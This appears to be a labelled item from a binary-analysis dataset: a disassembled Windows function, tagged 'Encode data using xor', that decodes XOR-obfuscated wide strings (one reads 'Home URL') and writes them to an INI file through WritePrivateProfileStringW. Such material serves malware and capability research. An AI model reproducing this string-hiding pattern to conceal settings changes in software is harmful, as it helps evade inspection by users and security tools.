Function at 0x5bd290
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x7aaa9f
mov eax, dword fs:[0]
push eax
sub esp, 0xf0
mov eax, dword [0x831184]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
call fcn.00451ae0
lea esi, [edi + 0xb8]
mov ecx, eax
push esi
call fcn.0058b550
test al, al
je 0x5bd2e5
push 0
push 0x7cf388
mov ecx, esi
call fcn.004044f0
mov dword [ebp - 0xcc], 0xf
xor ecx, ecx
mov dword [ebp - 0xc8], 0xc500f5
mov dword [ebp - 0xc4], 0xc900db
mov dword [ebp - 0xc0], 0xcf00df
mov dword [ebp - 0xbc], 0xc200df
mov dword [ebp - 0xb8], 0xd400d4
mov dword [ebp - 0xb4], 0x9a00c0
mov dword [ebp - 0xb0], 0xd800dc
mov dword [ebp - 0xac], 0xb800de
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0xc8], ax
inc ecx
mov eax, dword [ebp - 0xcc]
cmp ecx, eax
jb 0x5bd341
xor ecx, ecx
mov word [ebp + eax*2 - 0xc8], cx
lea ecx, [ebp - 0x88]
mov eax, dword [edi + 0xd0]
add eax, 0x84
push eax
call fcn.00404120
lea eax, [ebp - 0xc8]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00408060
add esp, 0xc
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 2
call fcn.00404490
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x28]
call fcn.00404120
mov byte [ebp - 4], 3
mov eax, 8
mov dword [ebp - 0x70], eax
xor ecx, ecx
mov dword [ebp - 0x6c], 0xc500e1
mov dword [ebp - 0x68], 0xc900c6
mov dword [ebp - 0x64], 0xfb008d
mov dword [ebp - 0x60], 0xfc00fd
mov dword [ebp - 0x5c], 0xb1
nop dword [eax + eax]
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0x6c], ax
inc ecx
mov eax, dword [ebp - 0x70]
cmp ecx, eax
jb 0x5bd3f0
xor ecx, ecx
mov word [ebp + eax*2 - 0x6c], cx
xor eax, eax
mov dword [ebp - 0x78], ecx
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x74], 7
lea edx, [ecx + 2]
mov word [ebp - 0x88], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5bd423
sub ecx, edx
lea eax, [ebp - 0x6c]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x88]
call fcn.004044f0
mov byte [ebp - 4], 4
mov eax, 0xa
mov dword [ebp - 0xa8], eax
xor ecx, ecx
mov dword [ebp - 0xa4], 0xd900fc
mov dword [ebp - 0xa0], 0xde00ce
mov dword [ebp - 0x9c], 0xfe008d
mov dword [ebp - 0x98], 0xd500dd
mov dword [ebp - 0x94], 0xc100d7
mov dword [ebp - 0x90], 0xb3
nop
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0xa4], ax
inc ecx
mov eax, dword [ebp - 0xa8]
cmp ecx, eax
jb 0x5bd490
xor ecx, ecx
mov word [ebp + eax*2 - 0xa4], cx
xor eax, eax
mov dword [ebp - 0xb0], ecx
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0xac], 7
lea edx, [ecx + 2]
mov word [ebp - 0xc0], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5bd4d5
sub ecx, edx
lea eax, [ebp - 0xa4]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.004044f0
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 5
push eax
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x28]
call fcn.00648a20
lea ecx, [ebp - 0xc0]
call fcn.00404490
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 8
call fcn.00404490
call fcn.00451ae0
lea ecx, [ebp - 0x40]
push ecx
mov ecx, eax
call fcn.0058b550
test al, al
je 0x5bd729
xor eax, eax
mov dword [ebp - 0x94], 0
push eax
push 0x7cf388
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0x90], 7
mov word [ebp - 0xa4], ax
call fcn.004044f0
mov byte [ebp - 4], 9
mov eax, 8
mov dword [ebp - 0x70], eax
xor ecx, ecx
mov dword [ebp - 0x6c], 0xc500e1
mov dword [ebp - 0x68], 0xc900c6
mov dword [ebp - 0x64], 0xfb008d
mov dword [ebp - 0x60], 0xfc00fd
mov dword [ebp - 0x5c], 0xb1
nop word [eax + eax]
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0x6c], ax
inc ecx
mov eax, dword [ebp - 0x70]
cmp ecx, eax
jb 0x5bd5b0
xor ecx, ecx
mov word [ebp + eax*2 - 0x6c], cx
xor eax, eax
mov dword [ebp - 0xec], ecx
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0xe8], 7
lea edx, [ecx + 2]
mov word [ebp - 0xfc], ax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5bd5f0
sub ecx, edx
lea eax, [ebp - 0x6c]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0xfc]
call fcn.004044f0
mov byte [ebp - 4], 0xa
mov eax, 0xa
mov dword [ebp - 0x8c], eax
xor ecx, ecx
mov dword [ebp - 0x88], 0xd900fc
mov dword [ebp - 0x84], 0xde00ce
mov dword [ebp - 0x80], 0xfe008d
mov dword [ebp - 0x7c], 0xd500dd
mov dword [ebp - 0x78], 0xc100d7
mov dword [ebp - 0x74], 0xb3
lea eax, [ecx + 0xa9]
xor word [ebp + ecx*2 - 0x88], ax
inc ecx
mov eax, dword [ebp - 0x8c]
cmp ecx, eax
jb 0x5bd650
xor ecx, ecx
mov word [ebp + eax*2 - 0x88], cx
xor eax, eax
mov dword [ebp - 0xd4], ecx
lea ecx, [ebp - 0x88]
mov dword [ebp - 0xd0], 7
lea edx, [ecx + 2]
mov word [ebp - 0xe4], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5bd695
sub ecx, edx
lea eax, [ebp - 0x88]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0xe4]
call fcn.004044f0
cmp dword [ebp - 0x14], 8
lea esi, [ebp - 0x28]
lea edx, [ebp - 0xa4]
cmovae esi, dword [ebp - 0x28]
lea ecx, [ebp - 0xfc]
cmp dword [ebp - 0x90], 8
lea eax, [ebp - 0xe4]
push esi
cmovae edx, dword [ebp - 0xa4]
cmp dword [ebp - 0xe8], 8
push edx
cmovae ecx, dword [ebp - 0xfc]
cmp dword [ebp - 0xd0], 8
push ecx
cmovae eax, dword [ebp - 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
lea ecx, [ebp - 0xe4]
call fcn.00404490
lea ecx, [ebp - 0xfc]
call fcn.00404490
lea ecx, [ebp - 0xa4]
call fcn.00404490
lea ecx, [ebp - 0x40]
call fcn.00404490
lea ecx, [ebp - 0x28]
call fcn.00404490
lea ecx, [ebp - 0x58]
call fcn.00404490
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0076eb7e
mov esp, ebp
pop ebp
ret